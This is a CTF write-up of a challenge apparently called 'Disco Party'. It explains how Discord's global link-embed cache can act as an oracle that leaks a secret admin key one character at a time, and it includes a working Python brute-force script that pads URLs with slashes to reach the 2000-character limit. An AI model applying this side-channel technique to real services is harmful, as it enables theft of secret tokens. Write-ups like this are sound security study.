"AlpacaHack - 2022": Disco Party/Festival

link to the challenge if you wanna give it a try

After taking some time to do platform engineering work, I was scrolling on Twitter when I read this Twitter post about “Common Mistakes While Running a CTF”. Reading the comments, keymoon had some GREAT takes that got me thinking: “Wait a minute, I’ve seen this person before.”

Today I decided to solve one of keymoon’s challenges, which turned out just as great as his/her comments.

Challenge description

The challenge starts as an invitation ticketing system. You write posts with inviting content with the ability to report the post to an admin for visit.

invitation creation

The admin bot doesn’t visit any link; rather, it is given a link to your post along with a reason for the report.

report on discord

The flag is injected into the index.html page when is_admin evaluates to True:

1
@app.route("/post/<string(length=16):id>", methods=["GET"])
2
def get_post(id):
3
    """Read a ticket"""
4
    # Get ticket by ID
5
    content = get_redis_conn(DB_TICKET).get(id)
6
    if content is None:
7
        return flask.abort(404, "not found")
8

9
    # Check if admin
10
    content = json.loads(content)
11
    key = flask.request.args.get("key")
12
    is_admin = isinstance(key, str) and get_key(id) == key
13

14
    return flask.render_template(
15
        "index.html",
16
        **content,
17
        is_post=True,
18
        panel=f"""
19
<strong>Hello admin! Your flag is: {FLAG}</strong><br>
20
<form id="delete-form" method="post" action="/api/delete">
21
    <input name="id" type="hidden" value="{id}">
22
    <input name="key" type="hidden" value="{key}">
23
    <button id="modal-button-delete" type="button">Delete This Post</button>
24
</form>
25
""" if is_admin else "",
26
        url=flask.request.url,
27
        sitekey=RECAPTCHA_SITE_KEY
28
    )

is_admin evaluates to true if you supply a key query parameter equal to a hash tied to your post id and a secret (unguessable) key:

1
def get_key(id):
2
    assert isinstance(id, str)
3
    return b64digest(hashlib.sha256((APP_KEY + id).encode()).digest())[:10]

To solve the challenge, we have many options to try, but only one leads to the solution :)

Issues and difficulties

Looking at the code above, it should be clear that the key can’t be guessed; moreover, a string type check is done, so no rich object tricks are possible.

Knowing that the post viewing mechanism is safe, I moved on to checking the reporting mechanism.

Dev assumption (1): I’m always reporting to the correct BOT.

One thing I tried when solving the challenge was checking if the BOT token was safely imported to the application. The bot did this to import the Discord bot token:

1
#!/usr/bin/env python3
2
import discord
3
import redis
4

5
from secret import *
6

7
DB_BOT = 1
8

9
client = discord.Client()
10

11
@client.event
12
async def on_ready():
13
    pass # only for the sake of showing, this actually included code
14

15
client.run(DISCORD_SECRET)

“What if secret.py is malicious or the import mechanism can be tampered with?”, I thought. Turns out, those thoughts were futile as there is no file writing primitive, and even then, I wasn’t sure how to trigger another import.

According to the Python docs: The import statement combines two operations; it searches for the named module, then it binds the results of that search to a name in the local scope.

Dev assumption (2): Discord channel cannot be tampered with

The second dev assumption was: “sending a text to channel X from bot Y will send it to that channel instead of A USER CONTROLLED CHANNEL.”

To verify this, I investigated the reporting mechanism. For the bot to send a report, the following happens first:

A url and a reason are taken from the user:

1
@app.route("/api/report", methods=["POST"])
2
def api_report():
3
    """Reoprt an invitation ticket"""
4
    # Get parameters
5
    try:
6
        url = flask.request.form["url"]
7
        reason = flask.request.form["reason"]
8
        recaptcha_token = flask.request.form["g-recaptcha-response"]
9
    except Exception:
10
        return flask.abort(400, "Invalid request")

After parsing the URL and ensuring it passes a few checks (we can encounter them using dynamic testing), we push the message to the Redis database:

1
    key = get_key(args["id"])
2
    message = f"URL: {url}?key={key}\nReason: {reason}"
3

4
    try:
5
        get_redis_conn(DB_BOT).rpush(
6
            'report', message[:MESSAGE_LENGTH_LIMIT]
7
        )
8
    except Exception:
9
        return flask.jsonify({"result": "NG", "message": "Post failed"})
10

11
    return flask.jsonify({"result": "OK", "message": "Successfully reported"})

The bot infinitely polls the Redis DB, and once it finds an entry, sends it directly to the correct location:

1
@client.event
2
async def on_ready():
3
    print(f"We've logged in as {client.user}")
4
    channel = client.get_channel(LOGGING_CHANNEL_ID)
5
    if channel is None:
6
        print("Failed to get channel...")
7
        exit(1)
8

9
    c = redis.Redis(host='redis', port=6379, db=DB_BOT)
10
    while True:
11
        r = c.blpop('report', 1)
12
        if r is not None:
13
            key, value = r
14
            try:
15
                await channel.send(value.decode())
16
            except Exception as e:
17
                print(f"[ERROR] {e}")

Crucially, it uses channel.send(...) to send the message.

I thought we could send a command like /send <user> <message> instead of raw text, but looking at the API reference above, this was a dead end too :(

Solution

Now that we have checked the post viewing and reporting mechanisms and nothing appealed to us, the challenge is most certainly related to how Discord handles messages.

When you first send a message containing a link inside a Discord channel, you get an Embed after Discord crawls your link, so that if you send the same message twice, you will get an embed attribute on the Message object.

The question then becomes: “If the embed attribute exists when the message is the same, it means it’s cached; is the cache in this case global or local to one account?”

Well, it turns out it’s global! (which makes sense). If two people link to the same URL twice, it doesn’t make sense to make Discord crawl both URLs to generate embeds from them; one suffices. What’s interesting to us is that we can use it as an oracle:

The bot visits http://hostname:port/post/path?key=A and loads an embed. If we send a message with a different link, no embed attribute would exist, but if we visit the latter URL again, the embed will exist. Effectively an oracle!

An oracle is an expression that can be answered by Yes or No.

Solve

We can get the flag in the following way:

First, we create a dummy post.
We report a URL with overflowing slashes / to hit the 2000 Discord text limit at ?key=A.
Using our own bot in our own server, we send a text with URL ?key=A.
If the embed attribute exists, the character is added to the key and padding decreases by 1.

We repeat the process 10 times to exfiltrate the entire key and get the flag:

1
#!/usr/bin/env python3
2

3
import requests
4
import discord
5
from discord.ext import tasks
6

7
LOGGING_CHANNEL_ID = *****
8
DISCORD_SECRET = *****
9

10
intents = discord.Intents.default()
11
client = discord.Client(intents=intents)
12

13
CHALLENGE_URL = 'http://localhost:8007'
14
key = ""
15
post_id = ''
16

17
@tasks.loop(seconds=10)
18
async def my_task():
19
    global post_id, key
20

21
    channel = client.get_channel(LOGGING_CHANNEL_ID)
22
    if channel is None:
23
        print("Failed to get channel...")
24
        exit(1)
25

26
    ngrok = 'http://<ngrok_host>:<ngrok_port>'
27
    slashes = '/' * (2000 - (len('URL: ') + len(f"{ngrok}/post/{post_id}") + len('?key=') + len(key) + 1))
28
    url = f"{ngrok}/{slashes}post/{post_id}"
29
    report = {
30
        "url": (None, url, None),
31
        "reason": (None,  "dummy", None),
32
        "g-recaptcha-response": (None, "", None)
33
    }
34
    requests.post(CHALLENGE_URL + "/api/report", files=report)
35

36
    # let's guess the character now :)
37
    keyspace = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'
38
    for k in keyspace:
39
        content = f"URL: {url}?key={key}{k}"
40
        try:
41
            msg = await channel.send(content)
42
            if msg.embeds:
43
                key += k
44
                print(f'[+] Found: {key}')
45
                break
46
        except Exception as e:
47
            print(f"[ERROR] {e}")
48

49
@client.event
50
async def on_ready():
51
    global post_id
52

53
    # populate a post
54
    payload = {
55
        "title": (None, "foo", None),
56
        "content": (None,  "bar", None)
57
    }
58
    resp = requests.post(CHALLENGE_URL + "/api/new", files=payload)
59
    post_id = resp.json()['action'].split('/')[-1]
60

61
    with open("post_id.txt", "w") as f:
62
        f.write(post_id)
63

64
    my_task.start() #let's see if this works
65

66

67
client.run(DISCORD_SECRET)

And the flag is … Well, remote instance is down, but you can run the above script to get the key :)

Key takeaways

Platform Features as Side Channels: Even when your application code is secure, the platforms it interacts with (like Discord) might have built-in behaviors that introduce vulnerabilities. Discord’s global caching mechanism for link embeds is a prime example of a convenient feature turning into a powerful XS-Leak oracle.
Creative Constraint Bypassing: Hitting Discord’s 2000-character text limit by overflowing the URL with slashes (/) was a clever way to manipulate the exact string being cached and matched. It proves that character limits aren’t just roadblocks; they can be used strategically to control the environment for brute-forcing.
Don’t Get Stuck on Initial Assumptions: Methodically verifying (and disproving) dev assumptions is a great approach. Ruling out malicious imports and direct channel tampering early on saved time and redirected focus to the actual vulnerable mechanism—how the platform handles message metadata.